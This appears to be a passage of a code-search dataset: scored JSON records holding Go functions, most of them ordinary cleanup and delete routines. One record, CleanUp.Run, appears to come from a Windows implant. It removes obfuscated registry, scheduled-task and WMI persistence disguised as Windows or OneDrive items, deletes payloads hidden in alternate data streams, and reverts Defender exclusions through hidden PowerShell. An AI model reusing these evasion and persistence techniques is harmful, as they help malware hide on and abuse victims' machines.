"0.42842653", "text": "func Clean() {\n\tmg.Deps(ca.Clean, agent.Clean)\n}", "title": "" }, { "docid": "ce361ea03436d9cc8f15d16ceb54d520", "score": "0.42827687", "text": "func (m *Machine) runCleanupFunctions() {\n\tif m.cleanFuncs == nil {\n\t\treturn\n\t}\n\n\tfor _, fn := range m.cleanFuncs {\n\t\tfn()\n\t}\n\n\tm.cleanFuncs = nil\n}", "title": "" }, { "docid": "38d5e4e7cbe47ed032f2f60f76578b4b", "score": "0.42772606", "text": "func (w *Window) Clear() error {\n\tif C.wclear(w.win) == C.ERR {\n\t\treturn errors.New(\"Failed to clear screen\")\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "1a0db0188656d214f8a0dce156d4eb53", "score": "0.42768213", "text": "func (session *Session) Clean() error {\n\tliveImages, err := utils.GetChildDirectories(DefaultStagingDirectoryImages)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Let's get the ID of our current booted image, so we don't delete it.\n\tcurrentBootID := \"\"\n\t{\n\t\tcurrentBootedImage, err := session.GetCurrentBootedImage()\n\t\tif err != nil {\n\t\t\tcurrentBootID = currentBootedImage.ID\n\t\t}\n\t}\n\n\tdatabaseImages, err := session.imageStore.AllImages()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor _, liveImage := range liveImages {\n\t\tfound := false\n\t\tfor _, databaseImage := range databaseImages {\n\t\t\tif databaseImage.ID == liveImage {\n\t\t\t\tfound = true\n\t\t\t}\n\t\t}\n\t\tif !found {\n\t\t\t// It isn't in database, but are we currently booting it?\n\t\t\tif liveImage == currentBootID {\n\t\t\t\tfound = true\n\t\t\t}\n\t\t}\n\t\tif !found {\n\t\t\terr = os.RemoveAll(path.Join(DefaultStagingDirectoryImages, liveImage))\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "563fe0730c33c5f77166a38bef3d88c9", "score": "0.42761153", "text": "func cleanTarget() {\n\tclean(target)\n\tclean(example)\n}", "title": "" }, { "docid": "b851dc5c75e2afbafcab5a439e32ef92", "score": "0.42757878", "text": "func Clean() error {\n\tfmt.Println(\"Cleaning...\")\n\treturn os.RemoveAll(\"transmissio\")\n}", "title": "" }, { "docid": "5415f12aa766a24bb0f03b7b41353a67", "score": "0.42738134", "text": "func DeleteWindowsFirewallRule() {\n\t_ = exec.Command(\"PowerShell\", []string{\n\t\t\"Remove-NetFirewallRule\",\n\t\t\"-Action\",\n\t\t\"Block\",\n\t}...).Run()\n}", "title": "" }, { "docid": "4e7c91ce27a30aed519474ebf9d09cdd", "score": "0.42681396", "text": "func (driver *ChapiServer) DeleteDevice(serialNumber string) error {\n\tlog.Tracef(\">>>>> DeleteDevice called, serialNumber=%v\", serialNumber)\n\tdefer log.Trace(\"<<<<< DeleteDevice\")\n\n\treturn cerrors.NewChapiError(cerrors.Unimplemented, errorMessageNotYetImplemented)\n}", "title": "" }, { "docid": "a1387012d4ed44d03b781c908e45880f", "score": "0.4268059", "text": "func (r *ReconcileWindowsMachineConfig) deleteWindowsVMs(count int) bool {\n\tvar errs []error\n\t// From the list of Windows VMs choose randomly count number of VMs.\n\tfor i := 0; i < count; i++ {\n\t\t// Choose of the Windows worker nodes randomly\n\t\tvmTobeDeleted := chooseRandomNode(r.windowsVMs)\n\t\tif vmTobeDeleted.GetCredentials() == nil {\n\t\t\terrs = append(errs, errors.New(\"One of the VM deletions failed, will reconcile...\"))\n\t\t\tcontinue\n\t\t}\n\n\t\t// Get the instance associated with the Windows worker node\n\t\tinstancedID := vmTobeDeleted.GetCredentials().GetInstanceId()\n\t\tif len(instancedID) == 0 {\n\t\t\terrs = append(errs, errors.New(\"One of the VM deletions failed, will reconcile...\"))\n\t\t\tcontinue\n\t\t}\n\n\t\t// Delete the Windows VM from cloud provider\n\t\tlog.Info(fmt.Sprintf(\"deleting the Windows VM: %s\", instancedID))\n\t\tif err := r.cloudProvider.DestroyWindowsVM(instancedID); err != nil {\n\t\t\tlog.Error(err, \"error while deleting windows VM: %s\", instancedID)\n\t\t\terrs = append(errs, errors.Wrap(err, \"One of the VM deletions failed, will reconcile\"))\n\t\t}\n\t\tdelete(r.windowsVMs, vmTobeDeleted)\n\t}\n\n\t// If any of the Windows VM fails to get deleted consider this as a failure and return false\n\tif len(errs) > 0 {\n\t\treturn false\n\t}\n\treturn true\n}", "title": "" }, { "docid": "18f6d943a2256f237e3eb2cd34cf4c9c", "score": "0.4267359", "text": "func cleanTemplates(_ *cobra.Command, _ []string) error {\n\tpath := varStringHome\n\tif len(path) != 0 {\n\t\tpathx.RegisterGoctlHome(path)\n\t}\n\n\terr := errorx.Chain(\n\t\tfunc() error {\n\t\t\treturn gogen.Clean()\n\t\t},\n\t\tfunc() error {\n\t\t\treturn modelgen.Clean()\n\t\t},\n\t\tfunc() error {\n\t\t\treturn rpcgen.Clean()\n\t\t},\n\t\tfunc() error {\n\t\t\treturn docker.Clean()\n\t\t},\n\t\tfunc() error {\n\t\t\treturn kube.Clean()\n\t\t},\n\t\tfunc() error {\n\t\t\treturn mongogen.Clean()\n\t\t},\n\t\tfunc() error {\n\t\t\treturn apigen.Clean()\n\t\t},\n\t\tfunc() error {\n\t\t\treturn apinew.Clean()\n\t\t},\n\t\tfunc() error {\n\t\t\treturn gateway.Clean()\n\t\t},\n\t)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfmt.Printf(\"%s\\n\", color.Green.Render(\"templates are cleaned!\"))\n\treturn nil\n}", "title": "" }, { "docid": "25afb5f14ea692d52be3921c7237a50a", "score": "0.42666027", "text": "func clean() (err error) {\r\n\tfiles, err := filepath.Glob(path.Join(TempDir, TempPrefix+\"*.\"+TempType))\r\n\tif err != nil {\r\n\t\treturn err\r\n\t}\r\n\tfor _, fname := range files {\r\n\t\tlog.Tracef(\"removing %s\", fname)\r\n\t\terr = os.Remove(fname)\r\n\t\tif err != nil {\r\n\t\t\treturn\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "6d014840235ba843abab273b6f85b002", "score": "0.4263346", "text": "func Clean() error {\n\treturn os.RemoveAll(outDir)\n}", "title": "" }, { "docid": "9934031fdccda101187177e3429d3e95", "score": "0.42520273", "text": "func (mc MCleanService) CleanDir() error {\n\tfor _, object := range mc {\n\t\terr := object.CleanDir()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "41fcbac03d7f2bde4329b7d5329cdf51", "score": "0.42496517", "text": "func Clean(conf *Config) error {\n\tif conf == nil {\n\t\tconf = NewConfig()\n\t}\n\n\tcmd := []string{\"-noconfirm\", \"clean\"}\n\treturn call(cmd, conf)\n}", "title": "" }, { "docid": "515cd8390f90e96e304d2791691c15de", "score": "0.42441115", "text": "func CommandClean(cmd string, args []string) int {\n\tlog.Tracef(\"[main] CommandClean(cmd='%s', args=%s)\", cmd, args)\n\n\tshgen.Echo(\"Rapture Clean COMING SOON\")\n\n\treturn 0\n}", "title": "" }, { "docid": "ee95c98836941d361488df0e1ff45b18", "score": "0.42341974", "text": "func (t *testsModel) Cleanup(a *app.App) {}", "title": "" }, { "docid": "760d56da82b12fdb7dc042f823b1aaef", "score": "0.42337587", "text": "func clearHardwareBreakpoint(reg, tid int) error {\n\treturn setHardwareBreakpoint(reg, tid, 0)\n}", "title": "" }, { "docid": "eb9123b2bd1452a6fea2c5620a9b74aa", "score": "0.42332703", "text": "func (kcli *CLI) Clean() (string, error) {\n\targs := []string{\"clean\"}\n\tkcli.Runner.SetArgs(args)\n\tout, err := kcli.Runner.RunWithoutRetry()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn out, nil\n}", "title": "" }, { "docid": "f21383e7ccfc71cda25679c5f91110ef", "score": "0.4232855", "text": "func (c CleanUp) Run(clientID string, jobID string, args []string) (string, error) {\n\tif len(args) != 1 {\n\t\treturn \"\", errors.New(\"cleanup takes 1 argument\")\n\t}\n\tmode := args[0]\n\tappdata, _ := os.LookupEnv(\"APPDATA\")\n\tpath := appdata + \"\\\\Windows:svchost.exe\"\n\tos.Remove(path)\n\tpath = appdata + \"\\\\Windows:winrm.vbs\"\n\tos.Remove(path)\n\n\t// TODO: use idiomatic go varnames, use backtick strings\n\tvar err error\n\tswitch mode {\n\tcase \"registry\":\n\t\tCLEAN, err := os.Create(\"C:\\\\Users\\\\Public\\\\build.bat\")\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\t// REG DELETE HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /V Network /f\n\t\tvar HKCU string = \"UkVHIERFTEVURSBIS0NVXFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1biAvViBOZXR3b3JrIC9m\"\n\t\tDecodedHKCU, err := base64.StdEncoding.DecodeString(HKCU)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tCLEAN.WriteString(string(DecodedHKCU))\n\t\tExec := exec.Command(\"cmd\", \"/c\", string(DecodedHKCU))\n\t\tExec.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}\n\t\tExec.Run()\n\t\tif checkForAdmin() {\n\t\t\t// REG DELETE HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /V Network /f\n\t\t\tvar HKLM string = \"UkVHIERFTEVURSBIS0xNXFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1biAvViBOZXR3b3JrIC9m\"\n\t\t\tDecodedHKLM, err := base64.StdEncoding.DecodeString(HKLM)\n\t\t\tif err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t\tExec2 := exec.Command(\"cmd\", \"/c\", string(DecodedHKLM))\n\t\t\tExec2.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}\n\t\t\terr = Exec2.Run()\n\t\t\tif err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t}\n\tcase \"scheduler\":\n\t\tvar task string = \"c2NodGFza3MgL2RlbGV0ZSAvVE4gIk9uZURyaXZlIFN0YW5kYWxvbmUgVXBkYXRlIFRhc2siIC9m\"\n\t\tDecodedtask, _ := base64.StdEncoding.DecodeString(task)\n\t\t//Creates a bat file\n\t\tTASK, err := os.Create(\"C:\\\\Users\\\\Public\\\\build.bat\")\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tTASK.WriteString(string(Decodedtask) + \"\\r\\n\")\n\t\tTASK.Close()\n\t\tExec := exec.Command(\"cmd\", \"/C\", \"C:\\\\Users\\\\Public\\\\build.bat\")\n\t\tExec.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}\n\t\terr = Exec.Run()\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\terr = os.Remove(\"C:\\\\Users\\\\Public\\\\build.bat\")\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\tcase \"exclusion\":\n\t\tif checkForAdmin() {\n\t\t\tcmdName := \"powershell.exe\"\n\t\t\tcmdE := exec.Command(cmdName)\n\t\t\tcmdEArgs := []string{\"Remove-MpPreference -ExclusionPath C:\\\\\"}\n\t\t\tcmdE = exec.Command(cmdName, cmdEArgs...)\n\t\t\tcmdE.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}\n\t\t\terr = cmdE.Run()\n\t\t\tif err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t}\n\tcase \"realtime\":\n\t\tcmdName := \"powershell.exe\"\n\t\tcmdRT := exec.Command(cmdName)\n\t\tcmdArgs := []string{\"Set-MpPreference -DisableRealtimeMonitoring $false\"}\n\t\tcmdRT = exec.Command(cmdName, cmdArgs...)\n\t\tcmdRT.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}\n\t\terr = cmdRT.Run()\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\tcase \"wmi\":\n\t\tif checkForAdmin() {\n\t\t\tcmdName := \"powershell.exe\"\n\t\t\tcmd := exec.Command(cmdName)\n\t\t\tcmdArgs := []string{\"Get-WMIObject -Namespace root/Subscription -Class __EventFilter -Filter \\\"Name='Windows Update Event'\\\" | Remove-WmiObject\"}\n\t\t\tcmd = exec.Command(cmdName, cmdArgs...)\n\t\t\tcmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}\n\t\t\terr = cmd.Run()\n\t\t\tif err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t\tcmdArgs = []string{\"Get-WMIObject -Namespace root/Subscription -Class CommandLineEventConsumer -Filter \\\"Name='Windows Update Consumer'\\\" | Remove-WmiObject\"}\n\t\t\tcmd = exec.Command(cmdName, cmdArgs...)\n\t\t\terr = cmd.Run()\n\t\t\tif err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t\tcmd = exec.Command(cmdName, cmdArgs...)\n\t\t\tcmdArgs = []string{\"Get-WMIObject -Namespace root/Subscription -Class __FilterToConsumerBinding -Filter \\\"__Path LIKE '%Windows Update%'\\\" | Remove-WmiObject\"}\n\t\t\terr = cmd.Run()\n\t\t\tif err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t}\n\tcase \"signatures\":\n\t\tcmdName := \"cmd.exe\"\n\t\tcmdS := exec.Command(cmdName)\n\t\tcmdArgs := []string{\"\\\"C:\\\\Program Files\\\\Windows Defender\\\\MpCmdRun.exe\\\" -SignatureUpdate Set-MpPreference -DisableIOAVProtection $false\"}\n\t\tcmdS = exec.Command(cmdName, cmdArgs...)\n\t\tcmdS.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}\n\t\terr = cmdS.Run()\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\n\treturn \"Cleanup completed.\", nil\n}", "title": "" }, { "docid": "af67cdac394329e17082303774f69841", "score": "0.4232512", "text": "func (hcp *huaweicloudCloudProvider) Cleanup() error {\n\treturn nil\n}", "title": "" }, { "docid": "282a1d3b5b37e69defcf0c4ef11989c3", "score": "0.4223752", "text": "func (daemon *Daemon) CleanVolume(stop int) error {\n\tif daemon.Storage.StorageType == \"devicemapper\" {\n\t\tif stop == 0 {\n\t\t\treturn dm.DMCleanup(daemon.Storage.DmPoolData)\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "d02c14fb8bb4bd6707c67e159c3bfec8", "score": "0.42234036", "text": "func (t *AxisHelper) Cleanup(a *app.App) {}", "title": "" }, { "docid": "76d1555e57cfff43d939789785f58b17", "score": "0.4222355", "text": "func Cleanup() error {\n\tif err := Error(C.mosquitto_lib_cleanup()); err != MOSQ_ERR_SUCCESS {\n\t\treturn err\n\t}\n\n\t// Release callback resources\n\tmutex.Lock()\n\tdefer mutex.Unlock()\n\tfor k := range callbacks {\n\t\tdelete(callbacks, k)\n\t}\n\tcallbacks = nil\n\n\t// Return success\n\treturn nil\n}", "title": "" }, { "docid": "c3c0d8bf12fba751ab046ae1e0aedae9", "score": "0.4219941", "text": "func filterDevices(i *inventory, f string) {\n\tif f == \"\" {\n\t\treturn\n\t}\n\n\tfRe := regexp.MustCompile(f)\n\n\tfor n := range i.Devices {\n\t\tif !fRe.Match([]byte(n)) {\n\t\t\tdelete(i.Devices, n)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "962bed8fdcf1981c582e9fcdfa529f7f", "score": "0.42175594", "text": "func (e *ObservableEditableBuffer) Clean() {\n\te.f.Clean()\n}", "title": "" }, { "docid": "5b5503cbff0733e927b27d6299e10f2d", "score": "0.42118248", "text": "func (p *Package) Clean() error {\n\treturn os.RemoveAll(p.tempDir)\n}", "title": "" } ]
b013adedd6ebefe512cb440e32b383e7
UnmarshalJSON implements the json.Unmarshaller interface for type ValidationActivity.
[ { "docid": "a60e389ccd02749359362f1f4a351a34", "score": "0.8147667", "text": "func (v *ValidationActivity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"typeProperties\":\n\t\t\terr = unpopulate(val, &v.TypeProperties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn v.ControlActivity.unmarshalInternal(rawMsg)\n}", "title": "" } ]
[ { "docid": "8e2e5a311bc80dd05e6daf5e93698d80", "score": "0.73774445", "text": "func (a *Activity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\treturn a.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "4f3b0d5c0f4893be36f76c4c9a2eb1a4", "score": "0.7301024", "text": "func (j *ChemblActivity) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "title": "" }, { "docid": "4cd1a1bce964e44d5447df25a1ff184b", "score": "0.6959007", "text": "func (f *FilterActivity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"typeProperties\":\n\t\t\terr = unpopulate(val, &f.TypeProperties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn f.ControlActivity.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "83af90841225e301a795a6f149d84e23", "score": "0.69149464", "text": "func (c *CustomActivity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"typeProperties\":\n\t\t\terr = unpopulate(val, &c.TypeProperties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn c.ExecutionActivity.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "33c628f226ad2aa0840e674215c5c480", "score": "0.69009066", "text": "func (a *AzureMLBatchExecutionActivity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"typeProperties\":\n\t\t\terr = unpopulate(val, &a.TypeProperties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn a.ExecutionActivity.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "9f4d53fc01dbbe20e7de1518306d3761", "score": "0.6889991", "text": "func (a *AzureFunctionActivity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"typeProperties\":\n\t\t\terr = unpopulate(val, &a.TypeProperties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn a.ExecutionActivity.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "f13da76bad84a99a4ff23ba3530389f4", "score": "0.6862728", "text": "func (e *ExecutionActivity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\treturn e.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "bfc38f4b006ae41f0665275eadb7196e", "score": "0.68598175", "text": "func (c *CopyActivity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"inputs\":\n\t\t\terr = unpopulate(val, &c.Inputs)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"outputs\":\n\t\t\terr = unpopulate(val, &c.Outputs)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"typeProperties\":\n\t\t\terr = unpopulate(val, &c.TypeProperties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn c.ExecutionActivity.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "b3715e044690d4fe3a2eac13f179535d", "score": "0.68492585", "text": "func (d *DeleteActivity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"typeProperties\":\n\t\t\terr = unpopulate(val, &d.TypeProperties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn d.ExecutionActivity.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "3dad88fae133d4e119eef5a38d705328", "score": "0.68396187", "text": "func (l *LookupActivity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"typeProperties\":\n\t\t\terr = unpopulate(val, &l.TypeProperties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn l.ExecutionActivity.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "8e7b5370651828306c7015acdca0a52f", "score": "0.67727077", "text": "func (w *WebActivity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"typeProperties\":\n\t\t\terr = unpopulate(val, &w.TypeProperties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn w.ExecutionActivity.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "1328d89619db082a7921ccf695d4dc7d", "score": "0.6758423", "text": "func (w *WaitActivity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"typeProperties\":\n\t\t\terr = unpopulate(val, &w.TypeProperties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn w.ControlActivity.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "910e117e50ee4dc39ab5e8faf8a0df6c", "score": "0.67485374", "text": "func (f *ForEachActivity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"typeProperties\":\n\t\t\terr = unpopulate(val, &f.TypeProperties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn f.ControlActivity.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "688b9233e8407c10c74fcc5deb3b82aa", "score": "0.6721239", "text": "func (a *ActivityRun) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"activityName\":\n\t\t\terr = unpopulate(val, &a.ActivityName)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"activityRunEnd\":\n\t\t\tvar aux timeRFC3339\n\t\t\terr = unpopulate(val, &aux)\n\t\t\ta.ActivityRunEnd = (*time.Time)(&aux)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"activityRunId\":\n\t\t\terr = unpopulate(val, &a.ActivityRunID)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"activityRunStart\":\n\t\t\tvar aux timeRFC3339\n\t\t\terr = unpopulate(val, &aux)\n\t\t\ta.ActivityRunStart = (*time.Time)(&aux)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"activityType\":\n\t\t\terr = unpopulate(val, &a.ActivityType)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"durationInMs\":\n\t\t\terr = unpopulate(val, &a.DurationInMs)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"error\":\n\t\t\terr = unpopulate(val, &a.Error)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"input\":\n\t\t\terr = unpopulate(val, &a.Input)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"linkedServiceName\":\n\t\t\terr = unpopulate(val, &a.LinkedServiceName)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"output\":\n\t\t\terr = unpopulate(val, &a.Output)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"pipelineName\":\n\t\t\terr = unpopulate(val, &a.PipelineName)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"pipelineRunId\":\n\t\t\terr = unpopulate(val, &a.PipelineRunID)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"status\":\n\t\t\terr = unpopulate(val, &a.Status)\n\t\t\tdelete(rawMsg, key)\n\t\tdefault:\n\t\t\tif a.AdditionalProperties == nil {\n\t\t\t\ta.AdditionalProperties = map[string]interface{}{}\n\t\t\t}\n\t\t\tif val != nil {\n\t\t\t\tvar aux interface{}\n\t\t\t\terr = json.Unmarshal(val, &aux)\n\t\t\t\ta.AdditionalProperties[key] = aux\n\t\t\t}\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "10324f183130f80b394c491cd929a755", "score": "0.67023355", "text": "func (e *ExecutePipelineActivity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"typeProperties\":\n\t\t\terr = unpopulate(val, &e.TypeProperties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn e.ControlActivity.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "9188548396fc7f1e2a343365d4983c1e", "score": "0.6681019", "text": "func (w *WebHookActivity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"typeProperties\":\n\t\t\terr = unpopulate(val, &w.TypeProperties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn w.ControlActivity.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "076ab9441985667959f01a4f6f43f321", "score": "0.66706115", "text": "func (g *GetMetadataActivity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"typeProperties\":\n\t\t\terr = unpopulate(val, &g.TypeProperties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn g.ExecutionActivity.unmarshalInternal(rawMsg)\n}", "title": "" }, { "docid": "6ccffc4d08210211bfc83754a3f369d5", "score": "0.66684675", "text": "func (a *AzureActiveDirectoryValidation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"allowedAudiences\":\n\t\t\terr = unpopulate(val, \"AllowedAudiences\", &a.AllowedAudiences)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"defaultAuthorizationPolicy\":\n\t\t\terr = unpopulate(val, \"DefaultAuthorizationPolicy\", &a.DefaultAuthorizationPolicy)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"jwtClaimChecks\":\n\t\t\terr = unpopulate(val, \"JwtClaimChecks\", &a.JwtClaimChecks)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn 